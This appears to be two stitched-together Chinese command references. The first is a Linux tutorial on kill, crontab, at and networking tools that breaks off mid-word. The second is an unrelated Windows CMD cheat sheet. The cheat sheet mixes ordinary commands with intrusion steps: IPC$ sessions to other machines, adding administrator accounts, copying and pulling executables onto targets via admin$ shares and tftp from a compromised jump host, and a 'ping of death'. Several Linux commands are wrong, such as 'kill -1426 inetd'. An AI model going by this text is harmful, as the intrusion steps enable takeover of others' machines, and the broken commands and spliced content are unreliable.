kill命令的工作原理是,向Linux系统的内核发送一个系统操作信号和某个程序的进程标识号,然后系统内核就可以对进程标识号指定的进程进行操作。比如在top命令中,我们看到系统运行许多进程,有时就需要使用kill中止某些进程来提高系统资源。在讲解安装和登陆命令时,曾提到系统多个虚拟控制台的作用是当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作关闭这个程序。此时使用的命令就是kill,因为kill是大多数Shell内部命令可以直接调用的。 5.应用实例 (1)强行中止(经常使用杀掉)一个进程标识号为324的进程: #kill -9 324 (2)解除Linux系统的死锁 在Linux 中有时会发生这样一种情况:一个程序崩溃,并且处于死锁的状态。此时一般不用重新启动计算机,只需要中止(或者说是关闭)这个有问题的程序即可。当 kill处于X-Window界面时,主要的程序(除了崩溃的程序之外)一般都已经正常启动了。此时打开一个终端,在那里中止有问题的程序。比如,如果 Mozilla浏览器程序出现了锁死的情况,可以使用kill命令来中止所有包含有Mozolla浏览器的程序。首先用top命令查处该程序的PID,然后使用kill命令停止这个程序: #kill -SIGKILL XXX 其中,XXX是包含有Mozolla浏览器的程序的进程标识号。 (3)使用命令回收内存 我们知道内存对于系统是非常重要的,回收内存可以提高系统资源。kill命令可以及时地中止一些“越轨”的程序或很长时间没有相应的程序。例如,使用top命令发现一个无用 (Zombie) 的进程,此时可以使用下面命令: #kill -9 XXX 其中,XXX是无用的进程标识号。 然后使用下面命令: #free 此时会发现可用内存容量增加了。 (4)killall命令 Linux下还提供了一个killall命令,可以直接使用进程的名字而不是进程标识号,例如: # killall -HUP inetd crontab 1.作用 使用crontab命令可以修改crontab配置文件,然后该配置由cron公用程序在适当的时间执行,该命令使用权限是所有用户。 2.格式 crontab [ -u user ] 文件 crontab [ -u user ] { -l | -r | -e } 3.主要参数 -e:执行文字编辑器来设定时程表,内定的文字编辑器是vi。 -r:删除目前的时程表。 -l:列出目前的时程表。 crontab 文件的格式为“M H D m d cmd”。其中,M代表分钟(0~59),H代表小时(0~23),D代表天(1~31),m代表月(1~12),d代表一星期内的天(0~6,0为星期天)。cmd表示要运行的程序,它被送入sh执行,这个Shell只有USER、HOME、SHELL三个环境变量。 4.说明 和at命令相比,crontab命令适合完成固定周期的任务。 5.应用实例 设置一个定时、定期的系统提示: [cao @www cao]#crontab -e 此时系统会打开一个vi编辑器。 如果输入以下内容:35 17 * * 5 wall "Tomorrow is Saturday I will go CS",然后存盘退出。这时在/var/spool/cron/目录下会生产一个cao的文件,内容如下: # DO NOT EDIT THIS FILE - edit the master and reinstall. # (/tmp/crontab.2707 installed on Thu Jan 1 22:01:51 2004) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 35 17 * * 5 wall "Tomorrow is Saturday I will play CS " 这样每个星期五17:35系统就会弹出一个终端,提醒星期六可以打打CS了!显示结果见图3所示。 图3 一个定时、定期的系统提示 动手练习 1.联合使用kill和top命令观察系统性能的变化 首先启动一个终端运行top命令,然后再启动一个终端使用kill命令,见图4所示。 图4 观察kill命令对top终端的影响 这时利用上面介绍的kill命令来中止一些程序: #kill SIGKILL XXX 然后再看top命令终端的变化,包括内存容量、CPU使用率、系统负载等。注意,有些进程是不能中止的,不过学习Linux命令时可以试试,看看系统有什么反应。 2.使用at和halt命令定时关机 首先设定关机时间是17:35,输入下面代码: #at 17:35 warning: commands will be executed using (in order) a) $SHELL b) login shell c) /bin/sh at>halt `-i -p at> job 6 at 2004-01-01 17:35 此时实际上就已经进入Linux系统的Shell,并且编写一个最简单程序:halt -i -p。上面Shell中的文本结束符号表示按“Ctrl+D”组合键关闭命令,提交任务退出Shell。“Job 6 at 2004-01-01 17:35”表示系统接受第6个at命令,在“2004-01-01 17:35”时执行命令:先把所有网络相关的装置停止,关闭系统后关闭电源。 3.用crontab命令实现每天定时的病毒扫描 前面已经介绍了一个简单的crontab命令操作,这里看一些更重要的操作。 (1)建立一个文件,文件名称自己设定,假设为caoproject: #crontab -e (2)文件内容如下: 05 09 * * * antivir 用vi编辑后存盘退出。antivir是一个查杀Linux病毒的软件,当然需要时先安装在系统中。 (3)使用crontab命令添加到任务列表中: #crontab caoproject 这样系统内所有用户在每天的9点05分会自动进行病毒扫描。 4.用kill使修改的配置文件马上生效 Windows用户一般都知道,重要配置文件修改后往往都要重新启动计算机才能使修改生效。而Linux由于采用了模块化设计,可以自己根据需要实时设定服务。这里以网络服务inetd为例介绍一些操作技巧。 inetd 是一个监听守护进程,监听与提供互联网服务进程(如rlogin、telnet、ftp、rsh)进行连接的要求,并扩展所需的服务进程。默认情况下, inetd监听的这些daemon均列于/etc /inetd.conf文件中。编辑/etc/inetd.conf文件,可以改变inetd启动服务器守护进程的选项,然后驱使inetd以 SIGHUP(signal 1)向当前的inetd进程发送信号,使inetd重读该文件。这一过程由kill命令来实现。 用vi或其它编辑器修改inetd.conf后,首先使用下面命令: #ps -ef |grep inetd 上面代码表明查询inetd.conf的进程号(PID),这里假设是1426,然后使用下面命令: # kill -1426 inetd 这样配置文件就生效了。 这一讲介绍的系统管理命令都是比较重要的,特别是crontab命令和quota命令使用起来会有一定难度,需要多做一些练习。另外,使用kill命令要注意“-9“这个参数,练习时最好不要运行一些重要的程序。 -------------------------------------------------------------------------------- Linux必学的60个命令(4)-网络操作命令 Linux必学的60个命令:网络操作命令 因为Linux系统是在Internet上起源和发展的,它与生俱来拥有强大的网络功能和丰富的网络应用软件,尤其是TCP/IP网络协议的实现尤为成熟。 Linux的网络命令比较多,其中一些命令像ping、 ftp、telnet、route、netstat等在其它操作系统上也能看到,但也有一些Unix/Linux系统独有的命令,如ifconfig、 finger、mail等。Linux网络操作命令的一个特点是,命令参数选项和功能很多,一个命令往往还可以实现其它命令的功能。 ifconfig 1.作用 ifconfig用于查看和更改网络接口的地址和参数,包括IP地址、网络掩码、广播地址,使用权限是超级用户。 2.格式 ifconfig -interface [options] address 3.主要参数 -interface:指定的网络接口名,如eth0和eth1。 up:激活指定的网络接口卡。 down:关闭指定的网络接口。 broadcast address:设置接口的广播地址。 pointopoint:启用点对点方式。 address:设置指定接口设备的IP地址。 netmask address:设置接口的子网掩码。 4.应用说明 ifconfig是用来设置和配置网卡的命令行工具。为了手工配置网络,这是一个必须掌握的命令。使用该命令的好处是无须重新启动机器。要赋给eth0接口IP地址207.164.186.2,并且马上激活它,使用下面命令: #fconfig eth0 210.34.6.89 netmask 255.255.255.128 broadcast 210.34.6.127 该命令的作用是设置网卡eth0的IP地址、网络掩码和网络的本地广播地址。若运行不带任何参数的ifconfig命令,这个命令将显示机器所有激活接口的信息。带有“-a”参数的命令则显示所有接口的信息,包括没有激活的接口。注意,用ifconfig命令配置的网络设备参数,机器重新启动以后将会丢失。 如果要暂停某个网络接口的工作,可以使用down参数: #ifconfig eth0 down ip 1.作用 ip是iproute2软件包里面的一个强大的网络配置工具,它能够替代一些传统的网络管理工具,例如ifconfig、route等,使用权限为超级用户。几乎所有的Linux发行版本都支持该命令。 2.格式 ip [OPTIONS] OBJECT [COMMAND [ARGUMENTS]] 3.主要参数 OPTIONS是修改ip行为或改变其输出的选项。所有的选项都是以-字符开头,分为长、短两种形式。目前,ip支持如表1所示选项。 OBJECT是要管理者获取信息的对象。目前ip认识的对象见表2所示。 表1 ip支持的选项 -V,-Version 打印ip的版本并退出。 -s,-stats,-statistics 输出更为详尽的信息。如果这个选项出现两次或多次,则输出的信息将更为详尽。 -f,-family 这个选项后面接协议种类,包括inet、inet6或link,强调使用的协议种类。如果没有足够的信息告诉ip使用的协议种类,ip就会使用默认值inet或any。link比较特殊,它表示不涉及任何网络协议。 -4 是-family inet的简写。 -6 是-family inet6的简写。 -0 是-family link的简写。 -o,-oneline 对每行记录都使用单行输出,回行用字符代替。如果需要使用wc、grep等工具处理ip的输出,则会用到这个选项。 -r,-resolve 查询域名解析系统,用获得的主机名代替主机IP地址 COMMAND 设置针对指定对象执行的操作,它和对象的类型有关。一般情况下,ip支持对象的增加(add)、删除(delete)和展示(show或list)。有些对象不支持这些操作,或者有其它的一些命令。对于所有的对象,用户可以使用help命令获得帮助。这个命令会列出这个对象支持的命令和参数的语法。如果没有指定对象的操作命令,ip会使用默认的命令。一般情况下,默认命令是list,如果对象不能列出,就会执行help命令。 ARGUMENTS 是命令的一些参数,它们倚赖于对象和命令。ip支持两种类型的参数:flag和parameter。flag由一个关键词组成;parameter由一个关键词加一个数值组成。为了方便,每个命令都有一个可以忽略的默认参数。例如,参数dev是ip link命令的默认参数,因此ip link ls eth0等于ip link ls dev eth0。我们将在后面的详细介绍每个命令的使用,命令的默认参数将使用default标出。 4.应用实例 添加IP地址192.168.2.2/24到eth0网卡上: #ip addr add 192.168.1.1/24 dev eth0 丢弃源地址属于192.168.2.0/24网络的所有数据报: #ip rule add from 192.168.2.0/24 prio 32777 reject ping 1.作用 ping检测主机网络接口状态,使用权限是所有用户。 2.格式 ping [-dfnqrRv][-c][-i][-I][-l][-p][-s][-t] IP地址 3.主要参数 -d:使用Socket的SO_DEBUG功能。 -c:设置完成要求回应的次数。 -f:极限检测。 -i:指定收发信息的间隔秒数。 -I:网络界面使用指定的网络界面送出数据包。 -l:前置载入,设置在送出要求信息之前,先行发出的数据包。 -n:只输出数值。 -p:设置填满数据包的范本样式。 -q:不显示指令执行过程,开头和结尾的相关信息除外。 -r:忽略普通的Routing Table,直接将数据包送到远端主机上。 -R:记录路由过程。 -s:设置数据包的大小。 -t:设置存活数值TTL的大小。 -v:详细显示指令的执行过程。 ping 命令是使用最多的网络指令,通常我们使用它检测网络是否连通,它使用ICMP协议。但是有时会有这样的情况,我们可以浏览器查看一个网页,但是却无法 ping通,这是因为一些网站处于安全考虑安装了防火墙。另外,也可以在自己计算机上试一试,通过下面的方法使系统对ping没有反应: # echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all netstat 1.作用 检查整个Linux网络状态。 2.格式 netstat [-acCeFghilMnNoprstuvVwx][-A][--ip] 3.主要参数 -a--all:显示所有连线中的Socket。 -A:列出该网络类型连线中的IP相关地址和网络类型。 -c--continuous:持续列出网络状态。 -C--cache:显示路由器配置的快取信息。 -e--extend:显示网络其它相关信息。 -F--fib:显示FIB。 -g--groups:显示多重广播功能群组组员名单。 -h--help:在线帮助。 -i--interfaces:显示网络界面信息表单。 -l--listening:显示监控中的服务器的Socket。 -M--masquerade:显示伪装的网络连线。 -n--numeric:直接使用IP地址,而不通过域名服务器。 -N--netlink--symbolic:显示网络硬件外围设备的符号连接名称。 -o--timers:显示计时器。 -p--programs:显示正在使用Socket的程序识别码和程序名称。 -r--route:显示Routing Table。 -s--statistice:显示网络工作信息统计表。 -t--tcp:显示TCP传输协议的连线状况。 -u--udp:显示UDP传输协议的连线状况。 -v--verbose:显示指令执行过程。 -V--version:显示版本信息。 -w--raw:显示RAW传输协议的连线状况。 -x--unix:和指定“-A unix”参数相同。 --ip--inet:和指定“-A inet”参数相同。 4.应用实例 netstat 主要用于Linux察看自身的网络状况,如开启的端口、在为哪些用户服务,以及服务的状态等。此外,它还显示系统路由表、网络接口状态等。可以说,它是一个综合性的网络状态的察看工具。在默认情况下,netstat只显示已建立连接的端口。如果要显示处于监听状态的所有端口,使用-a参数即可: #netstat -a Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:32768 *:* LISTEN tcp 0 0 *:32769 *:* LISTEN tcp 0 0 *:nfs *:* LISTEN tcp 0 0 *:32770 *:* LISTEN tcp 0 0 *:868 *:* LISTEN tcp 0 0 *:617 *:* LISTEN tcp 0 0 *:mysql *:* LISTEN tcp 0 0 *:netbios-ssn *:* LISTEN tcp 0 0 *:sunrpc *:* LISTEN tcp 0 0 *:10000 *:* LISTEN tcp 0 0 *:http *:* LISTEN ...... 上面显示出,这台主机同时提供HTTP、FTP、NFS、MySQL等服务。 telnet 1.作用 telnet表示开启终端机阶段作业,并登入远端主机。telnet是一个Linux命令,同时也是一个协议(远程登陆协议)。 2.格式 telnet [-8acdEfFKLrx][-b][-e][-k][-l][-n][-S][-X][主机名称IP地址] 3.主要参数 -8:允许使用8位字符资料,包括输入与输出。 -a:尝试自动登入远端系统。 -b:使用别名指定远端主机名称。 -c:不读取用户专属目录里的.telnetrc文件。 -d:启动排错模式。 -e:设置脱离字符。 -E:滤除脱离字符。 -f:此参数的效果和指定“-F”参数相同。 -F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机。 -k:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名。 -K:不自动登入远端主机。 -l:指定要登入远端主机的用户名称。 -L:允许输出8位字符资料。 -n:指定文件记录相关信息。 -r:使用类似rlogin指令的用户界面。 -S:服务类型,设置telnet连线所需的IP TOS信息。 -x:假设主机有支持数据加密的功能,就使用它。 -X:关闭指定的认证形态。 4.应用说明 用户使用telnet命令可以进行远程登录,并在远程计算机之间进行通信。用户通过网络在远程计算机上登录,就像登录到本地机上执行命令一样。为了通过 telnet登录到远程计算机上,必须知道远程机上的合法用户名和口令。虽然有些系统确实为远程用户提供登录功能,但出于对安全的考虑,要限制来宾的操作权限,因此,这种情况下能使用的功能是很少的。 t
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP 